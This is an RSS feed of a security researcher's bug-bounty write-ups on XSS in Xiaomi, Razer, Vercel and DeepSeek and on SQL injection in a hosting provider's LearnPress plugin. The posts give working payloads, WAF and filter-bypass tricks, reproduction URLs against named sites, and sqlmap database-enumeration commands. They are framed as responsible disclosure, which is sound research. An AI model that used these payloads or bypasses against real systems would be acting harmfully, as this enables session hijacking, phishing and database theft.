<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by N45HT on Medium]]></title>
        <description><![CDATA[Stories by N45HT on Medium]]></description>
        <link>https://medium.com/@n45ht?source=rss-1fa857de9fd4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*pZyBeu0kLS4ioD6BU8v-fA.jpeg</url>
            <title>Stories by N45HT on Medium</title>
            <link>https://medium.com/@n45ht?source=rss-1fa857de9fd4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 21:30:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@n45ht/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hacking AI with Markdown: How We Triggered XSS in DeepSeek’s Chat]]></title>
            <link>https://medium.com/@n45ht/hacking-ai-with-markdown-how-we-triggered-xss-in-deepseeks-chat-e625686530b6?source=rss-1fa857de9fd4------2</link>
            <guid isPermaLink="false">https://medium.com/p/e625686530b6</guid>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[deepseek]]></category>
            <dc:creator><![CDATA[N45HT]]></dc:creator>
            <pubDate>Fri, 09 May 2025 04:01:05 GMT</pubDate>
            <atom:updated>2025-05-09T04:01:05.689Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*B7w5fkBATINcVju_Z0qsMw.png" /></figure><p>AI-generated chat messages are becoming a cornerstone of modern digital interaction. From customer support to creative writing, platforms like ChatGPT, Gemini, and DeepSeek have quickly gained popularity. However, as we dive deeper into how these systems process user inputs, it’s essential to recognize the potential security risks lurking beneath the surface.</p><p>In our latest research, we uncovered a significant vulnerability in <strong>DeepSeek</strong>, an AI chatbot developed by the Chinese company <strong>High-Flyer</strong>. Specifically, we found that by sending crafted <strong>Markdown</strong> payloads, we could trigger <strong>XSS (Cross-Site Scripting)</strong> attacks through the chatbot’s rendering engine.</p><p><strong>What is Markdown and How Can It Be Exploited?</strong></p><p>Markdown is a lightweight markup language used for formatting plain text. It’s commonly employed in documentation, messaging platforms, and content management systems due to its simplicity and readability.</p><p>However, like many markup languages, Markdown can be used to inject harmful content when rendered improperly. For instance, Markdown can be converted into HTML links or embedded code, which if unchecked, can result in security issues such as <strong>XSS</strong>.</p><p>Read More: <a href="https://n45ht.or.id/blog/hacking-ai-with-markdown-how-we-triggered-xss-in-deepseeks-chat/">https://n45ht.or.id/blog/hacking-ai-with-markdown-how-we-triggered-xss-in-deepseeks-chat/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e625686530b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting XSS via Markdown on Xiaomi]]></title>
            <link>https://medium.com/@n45ht/exploiting-xss-via-markdown-on-xiaomi-ad93519a42f5?source=rss-1fa857de9fd4------2</link>
            <guid isPermaLink="false">https://medium.com/p/ad93519a42f5</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[markdown]]></category>
            <dc:creator><![CDATA[N45HT]]></dc:creator>
            <pubDate>Fri, 24 Jan 2025 07:04:36 GMT</pubDate>
            <atom:updated>2025-01-24T07:04:36.766Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*QzdQ5DzZrQnjBAUX6jY1eg.png" /></figure><p>Markdown is a popular text-to-HTML conversion tool, commonly used in forums and web platforms to create web content. It allows users to write HTML in a simplified and easy-to-read format. While it’s a convenient tool, if not properly sanitized, it can open up vulnerabilities, such as Cross-Site Scripting (XSS), which can be exploited by attackers to inject malicious code into a web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*M_q4bkX-CpOqPncLtEWQIw.png" /></figure><p>In this write-up, I found an XSS vulnerability in the comments section of the Xiaomi Forum (c.mi.com), which allowed me to inject JavaScript through Markdown image tags. Here’s the process I followed to identify and test the vulnerability:</p><p><strong>Step 1: Initial Test with Image Tag</strong> I began by attempting to post an image in the comments section using a standard Markdown image tag:</p><p><strong>Payload:</strong></p><pre>[img]https://server/image.jpg[/img]</pre><p><strong>Response:</strong></p><pre>&lt;img src=&quot;https://server/image.jpg&quot; /&gt;</pre><p>At this point, the image was displayed normally in the comments section, confirming that the Markdown was being converted into HTML without any issues. The application wasn’t sanitizing the inputs at this stage, which could lead to potential security risks.</p><p><strong>Step 2: Testing with Double Quotes</strong> Next, I tried injecting double quotes after the image URL, which is a common tactic to test for input sanitization:</p><p><strong>Payload:</strong></p><pre>[img]https://server/image.jpg&quot;[/img]</pre><p><strong>Response:</strong></p><pre>&lt;img src=&quot;https://server/image.jpg&quot;&quot; /&gt;</pre><p>As you can see, the double quote was included in the response, but the server did not sanitize it. This showed that it was still vulnerable to further manipulation with additional payloads.</p><p><strong>Step 3: Inserting JavaScript Event Handler</strong> Next, I attempted to inject a JavaScript event handler into the image tag by adding the onmouseover attribute, which is commonly used to execute JavaScript when the user hovers over an element:</p><p><strong>Payload:</strong></p><pre>[img]https://server/image.jpg&quot;onmouseover=[/img]</pre><p><strong>Response:</strong></p><pre>&lt;img src=&quot;https://server/image.jpg%22onmouseover=&quot; /&gt;</pre><p>However, the server immediately encoded the double quote (&quot;) into %22, preventing the JavaScript event handler from being executed. Despite this, the server still allowed the insertion of other potentially dangerous content, which was a step forward in exploiting the vulnerability.</p><p><strong>Step 4: Using Uppercase in Event Handler</strong> To bypass the encoding, I tried using a mixed-case version of the event handler attribute, since sometimes case sensitivity can evade filters:</p><p><strong>Payload:</strong></p><pre>[img]https://server/image.jpg&quot;OnMoUsEoVeR=[/img]</pre><p><strong>Response:</strong></p><pre>&lt;img src=&quot;https://server/image.jpg&quot;OnMoUsEoVeR=&quot; /&gt;</pre><p>As expected, the server allowed the mixed-case event handler to be inserted, demonstrating that the input sanitization was insufficient and was unable to handle different case variations.</p><p><strong>Step 5: Final Exploit with JavaScript Code</strong> Finally, I injected a malicious JavaScript payload that would redirect the victim’s browser to an attacker-controlled site using the window.location property:</p><p><strong>Payload:</strong></p><pre>[img]https://server/image.jpg&quot;OnMoUsEoVeR=window.location=&quot;//google.com[/img]</pre><p><strong>Response:</strong></p><pre>&lt;img src=&quot;https://server/image.jpg&quot;OnMoUsEoVeR=window.location=&quot;//google.com&quot; /&gt;</pre><p>When the image was rendered, the onmouseover event would trigger the redirect to google.com. This is a clear demonstration of an XSS vulnerability, where an attacker can manipulate content on the forum to perform actions like redirecting users or executing arbitrary JavaScript in the victim’s browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*5bFOQPiZf5JKV2phZ-W0jw.png" /></figure><p>Through this series of tests, I was able to confirm that the Xiaomi Forum’s comment section was vulnerable to <strong>Stored XSS</strong> due to inadequate sanitization of input within Markdown tags. The vulnerability could be exploited by an attacker to execute JavaScript in the context of a user’s browser, leading to potential phishing attacks, information theft, or session hijacking.</p><p>I’ve reported this issue responsibly to Xiaomi, and I hope they address it soon to improve the security of their platform.</p><p>Follow:</p><ul><li><a href="https://n45ht.or.id/blog/">https://n45ht.or.id/blog/</a></li><li><a href="https://t.me/ZeroToBug">https://t.me/ZeroToBug</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ad93519a42f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XSS: Bypass CloudFront WAF]]></title>
            <link>https://medium.com/@n45ht/xss-bypass-cloudfront-waf-9d0c8a12dc33?source=rss-1fa857de9fd4------2</link>
            <guid isPermaLink="false">https://medium.com/p/9d0c8a12dc33</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[N45HT]]></dc:creator>
            <pubDate>Fri, 17 Jan 2025 14:34:24 GMT</pubDate>
            <atom:updated>2025-01-17T14:35:16.460Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*hQW8AhZZBSOOnVRLaqnVdw.png" /></figure><p>In this article, we will share how we successfully bypassed the <strong>CloudFront WAF</strong> (Web Application Firewall) to exploit a <strong>Cross-Site Scripting (XSS)</strong> vulnerability.</p><h3>Payloads:</h3><p>To bypass the <strong>CloudFront WAF</strong>, we crafted a special XSS payload. The goal was to find a way to inject JavaScript while preventing the WAF from detecting it as malicious. Here is the payload we used:</p><pre>&lt;object/data=&quot;javascript:alert/**/(document.domain)&quot;&gt;//&lt;/object&gt;</pre><p>This payload is interesting because it uses a combination of an &lt;object&gt; tag and a <strong>javascript</strong> URI scheme. Notice how the colon (:) in javascript: is encoded as &amp;colon;, which can help bypass basic filtering rules in the WAF. Additionally, the /**/ is used to comment out portions of the string, making it harder for the WAF to detect the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ApcfXVn-CLrmNLDklHNIbQ.jpeg" /></figure><p>After injecting the payload, we successfully triggered the <strong>XSS</strong> attack. The <strong>CloudFront WAF</strong> was bypassed, and the alert box displayed the document’s domain. This confirmed that the vulnerability existed and that the WAF didn’t block our payload.</p><p>More information:</p><ul><li><a href="https://n45ht.or.id/blog/">https://n45ht.or.id/blog/</a></li><li><a href="https://t.me/ZeroToBug">https://t.me/ZeroToBug</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9d0c8a12dc33" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing Razer’s WAF for XSS]]></title>
            <link>https://medium.com/@n45ht/bypassing-razers-waf-for-xss-afcaea744ab4?source=rss-1fa857de9fd4------2</link>
            <guid isPermaLink="false">https://medium.com/p/afcaea744ab4</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <dc:creator><![CDATA[N45HT]]></dc:creator>
            <pubDate>Wed, 15 Jan 2025 06:41:45 GMT</pubDate>
            <atom:updated>2025-01-15T06:43:45.093Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*D7uszRlHGu7ACI4CQ4NGbg.png" /></figure><p>While testing Razer’s web application, I identified an <strong>XSS vulnerability</strong> in their /ajax endpoint. The issue arises due to insufficient validation of the URL parameter, allowing JavaScript execution despite filtering attempts. This write-up outlines how I discovered the parameter using Arjun, crafted a bypass for their filters and successfully executed a proof of concept (PoC).</p><p>To begin, I used <strong>Arjun</strong>, a tool designed to identify query parameters that web applications accept and process. Running the following command revealed the presence of the URL parameter:</p><pre>arjun -u https://www2.razer.com/ajax</pre><p>Arjun reported that the URL parameter was being processed by the server. Further testing revealed that its value was reflected in the response.</p><p>When passing a value to the URL parameter, the application rendered the following HTML response:</p><p><strong>Request:</strong></p><pre>https://www2.razer.com/ajax?URL=https://google.com</pre><p><strong>Response:</strong></p><pre>&lt;html&gt;<br>&lt;head&gt;<br>&lt;meta http-equiv=&#39;Content-Type&#39; content=&#39;text/html; charset=utf-8&#39;/&gt;<br>&lt;title&gt;Redirect&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;p&gt;To proceed to the URL you have requested, click the link below:&lt;/p&gt;<br>&lt;p&gt;&lt;a href=&#39;https://google.com&#39;&gt;https://google.com&lt;/a&gt;&lt;/p&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>This indicated that the server did not validate the protocol or sanitize the input properly. I tested various protocols, including javascript://, which allowed me to inject JavaScript. However, initial attempts at executing JavaScript code encountered several backend restrictions.</p><h3>Understanding the Filter Mechanism</h3><p>The backend implemented some basic filtering:</p><ul><li><strong>Blocked Words</strong>: The backend blocked words like window , alert , eval, and error.</li><li><strong>Removed Characters</strong>: It also removed { , } , ( , ) , ` characters from the input.</li></ul><p>Testing an invalid URL containing alert, for example, returned a 500 Internal Server Error:</p><h4>Request:</h4><pre>https://www2.razer.com/ajax?URL=https://alert.com</pre><h4>Response:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ARGeL5T7EFFJfIhA_60A3A.png" /></figure><h3>Bypassing the Filter</h3><p>To bypass the restrictions, I discovered that embedding {} characters <em>inside</em> blocked words would bypass the backend’s WAF. For example, by splitting alert into a{ler}t, I was able to reintroduce the forbidden characters and evade detection.</p><h4>Request:</h4><pre>https://www2.razer.com/ajax?URL=https://a{ler}t.com</pre><h4>Response:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*2OUls49cdTaRNQu8jjT9Ow.png" /></figure><p>This confirmed that the WAF could be bypassed using encoded or obfuscated characters. With this insight, I proceeded to craft a more advanced payload.</p><p>To bypass these restrictions, I encoded the { and } characters by embedding them inside blocked words. This allowed me to reintroduce the forbidden characters while bypassing the filters.</p><h4>Final Payload:</h4><pre>javascript://%250athrow%20on{err}o}r=a{ler}t,1337</pre><p>This payload uses:</p><ol><li><strong>javascript:// Protocol</strong>: Allows JavaScript execution.</li><li><strong>Encoded Characters</strong>: %250a for a newline and {} embedded inside blocked words to bypass the filter.</li><li><strong>Triggering Code</strong>: Assigning onerror to execute an alert with the value 1337.</li></ol><h3>Steps to Reproduce</h3><ul><li>Open the vulnerable URL with the crafted payload:</li></ul><pre>https://www2.razer.com/ajax?URL=javascript://%250athrow%20on{err}o}r=a{ler}t,1337</pre><ul><li>The server responds with the following HTML:</li></ul><pre>&lt;html&gt;<br>&lt;head&gt;<br>&lt;meta http-equiv=&#39;Content-Type&#39; content=&#39;text/html; charset=utf-8&#39;/&gt;<br>&lt;title&gt;Redirect&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;p&gt;To proceed to the URL you have requested, click the link below:&lt;/p&gt;<br>&lt;p&gt;&lt;a href=&#39;javascript://%0athrow%20onerror=alert,1337&#39;&gt;javascript://%0athrow onerror=alert,1337&lt;/a&gt;&lt;/p&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><ul><li>Click the displayed payload link on the rendered page.</li><li>The XSS payload is executed, triggering an alert box.</li></ul><h4>Screenshot:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fs84K7iPI0p1oRTlA4D__Q.png" /></figure><h3>Reference:</h3><ul><li><a href="https://portswigger.net/research/xss-without-parentheses-and-semi-colons">https://portswigger.net/research/xss-without-parentheses-and-semi-colons</a></li><li><a href="https://n45ht.or.id/blog/">https://n45ht.or.id/blog/</a></li><li><a href="https://t.me/ZeroToBug">https://t.me/ZeroToBug</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=afcaea744ab4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking Vercel’s Clone URL with a Simple XSS Exploit]]></title>
            <link>https://medium.com/@n45ht/breaking-vercels-clone-url-with-a-simple-xss-exploit-8f55b21f32eb?source=rss-1fa857de9fd4------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f55b21f32eb</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[xs]]></category>
            <dc:creator><![CDATA[N45HT]]></dc:creator>
            <pubDate>Sat, 11 Jan 2025 10:26:07 GMT</pubDate>
            <atom:updated>2025-01-11T10:26:07.761Z</atom:updated>
            <content:encoded><![CDATA[<p>During my exploration of Vercel’s platform, I discovered a reflected XSS vulnerability in the “clone project” functionality. This write-up explains how I identified the issue, the payloads used, and how it was resolved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/333/1*rFi6mPKNB4tk_Zw2Z7D9Ig.png" /></figure><p>When creating a new project on Vercel by cloning from GitHub, the platform generates the following URL structure:</p><pre>https://vercel.com/new/clone?b=main&amp;s=https://github.com/vercel/vercel/tree/main/examples/nextjs&amp;showOptionalTeamCreation=false&amp;template=nextjs</pre><p>Here, the s parameter specifies the GitHub repository URL:</p><pre>https://github.com/vercel/vercel/tree/main/examples/nextjs</pre><p>This parameter is reflected in the response as an anchor tag:</p><pre>&lt;a href=&quot;https://github.com/vercel/vercel/tree/main/examples/nextjs&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;examples/nextjs&lt;/a&gt;</pre><p>Initially, I tested for common XSS characters (&lt;, &gt;, &quot;) in the s parameter, but they were properly encoded. However, by manipulating the <strong>protocol</strong> of the URL, I found a bypass.</p><h3>Exploitation Steps</h3><h4>1. Protocol Manipulation</h4><p>Changing the protocol in the s parameter to test:// bypass validation. Here’s an example payload:</p><pre>test://github.com/vercel/vercel/tree/main/examples/nextjs</pre><p>Response:</p><pre>&lt;a href=&quot;test://github.com/vercel/vercel/tree/main/examples/nextjs&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;examples/nextjs&lt;/a&gt;</pre><p>This demonstrated that the backend did not validate the protocol.</p><h4>2. Injecting a Malicious Payload</h4><p>Using the JavaScript: protocol, I crafted the following payload:</p><pre>JavaScript://github.com/vercel/vercel/tree/main/examples/nextjs%0aalert(1)</pre><p>Response:</p><pre>&lt;a href=&quot;JavaScript://github.com/vercel/vercel/tree/main/examples/nextjs%0aalert(1)&quot; rel=&quot;noopener&quot; target=&quot;_blank&quot;&gt;examples/nextjs%0aalert(1)&lt;/a&gt;</pre><p>At this point, I could insert a <strong>reflected XSS payload</strong> in the anchor tag.</p><h4>3. Executing the Payload</h4><p>Due to the target=&quot;_blank&quot; attribute, the malicious payload required a <strong>CTRL + Left Click</strong> (or equivalent) to trigger in modern browsers. Upon triggering, the payload is executed as intended.</p><p>Here is a screenshot demonstrating the XSS execution:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xRVXBHHZyAKbYmqSmd2lAA.png" /></figure><h3>Timeline</h3><ul><li><strong>3/21/2024:</strong> Report submitted to Vercel.</li><li><strong>3/21/2024:</strong> Vulnerability triaged.</li><li><strong>3/22/2024:</strong> Bounty awarded.</li><li><strong>8/6/2024:</strong> Bug fixed.</li></ul><p>This vulnerability allowed attackers to execute arbitrary JavaScript in the context of the user’s browser. Although interaction was required, this posed a significant risk, especially if combined with social engineering.</p><p>More:</p><ul><li><a href="https://n45ht.or.id/blog">https://n45ht.or.id/blog</a></li><li><a href="https://t.me/ZeroToBug">https://t.me/ZeroToBug</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f55b21f32eb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Critical [9.8] SQL Injection in a Major Indonesian Web Hosting Platform]]></title>
            <link>https://medium.com/@n45ht/critical-9-8-sql-injection-in-a-major-indonesian-web-hosting-platform-8bda5d2913d3?source=rss-1fa857de9fd4------2</link>
            <guid isPermaLink="false">https://medium.com/p/8bda5d2913d3</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[N45HT]]></dc:creator>
            <pubDate>Thu, 09 Jan 2025 13:25:36 GMT</pubDate>
            <atom:updated>2025-01-11T05:39:54.396Z</atom:updated>
            <content:encoded><![CDATA[<p>While exploring vulnerabilities in a major web hosting company in Indonesia, I discovered a critical SQL injection vulnerability in their online course platform. Although I am unable to disclose the company name or specific platform, this writeup outlines the discovery process and demonstrates the impact of the vulnerability.</p><p>I accessed the website and identified that it used <strong>WordPress</strong> with the <strong>LearnPress plugin</strong>. Upon further investigation, I found that their LearnPress plugin was outdated and vulnerable to SQL injection. According to Wordfence, the affected versions were detailed as:</p><ul><li><strong>Title:</strong> LearnPress &lt;= 4.2.5.7 — Unauthenticated SQL Injection via order_by</li><li><strong>Reference:</strong> <a href="https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/learnpress/learnpress-4257-unauthenticated-sql-injection-via-order-by">https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/learnpress/learnpress-4257-unauthenticated-sql-injection-via-order-by</a></li></ul><p>The Wordfence post highlighted the <strong>order_by</strong> parameter as the vulnerable entry point. I examined the website and found an API endpoint that used this parameter:</p><pre>https://example.com/wp-json/lp/v1/courses/archive-course?order_by=popular</pre><p>This endpoint, used for fetching courses via AJAX, was a prime target for SQL injection testing.</p><p>To verify the vulnerability, I utilized <strong>sqlmap</strong>, a powerful SQL injection testing tool. First, I ran a basic scan to confirm the injection point:</p><pre>./sqlmap -u &quot;https://example.com/wp-json/lp/v1/courses/archive-course?order_by=popular*&quot; --random-agent --level=3 --risk=3</pre><p>The (*) character after the order_by parameter marks the injection point for sqlmap.</p><p>The scan results confirmed that the parameter was vulnerable. Next, I listed the available databases to assess the extent of the compromise: bash Copy code</p><pre>./sqlmap -u &quot;https://example.com/wp-json/lp/v1/courses/archive-course?order_by=popular*&quot; --random-agent --level=3 --risk=3 --dbs</pre><p><strong>Result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/0*IQlX-ATGk9n4i0vv.png" /></figure><p>Upon confirming the vulnerability, I immediately reported it to the company. Recognizing the severity of the issue, they promptly acknowledged the report and rewarded me with <strong>3 months of free hosting</strong> as a token of appreciation for identifying and responsibly disclosing the critical SQL injection vulnerability.</p><h3>Related Articles</h3><p>If you’re interested in more bug bounty stories, check out my writeups on vulnerabilities in other Indonesian web hosting platforms:</p><ul><li><a href="https://n45ht.or.id/blog/post-based-xss-on-domainesia/">POST-based XSS on DomaiNesia</a></li><li><a href="https://n45ht.or.id/blog/reflected-dom-based-xss-on-domainesia/">Reflected DOM-based XSS on DomaiNesia</a></li><li><a href="https://1337.or.id/post/1000-idor-755516dd0fcd">$1.000 IDOR @ Indonesian Webhost</a></li></ul><p><strong>Telegram</strong>: <a href="https://t.me/ZeroToBug">https://t.me/ZeroToBug</a></p><p>Thank you for reading, and happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8bda5d2913d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>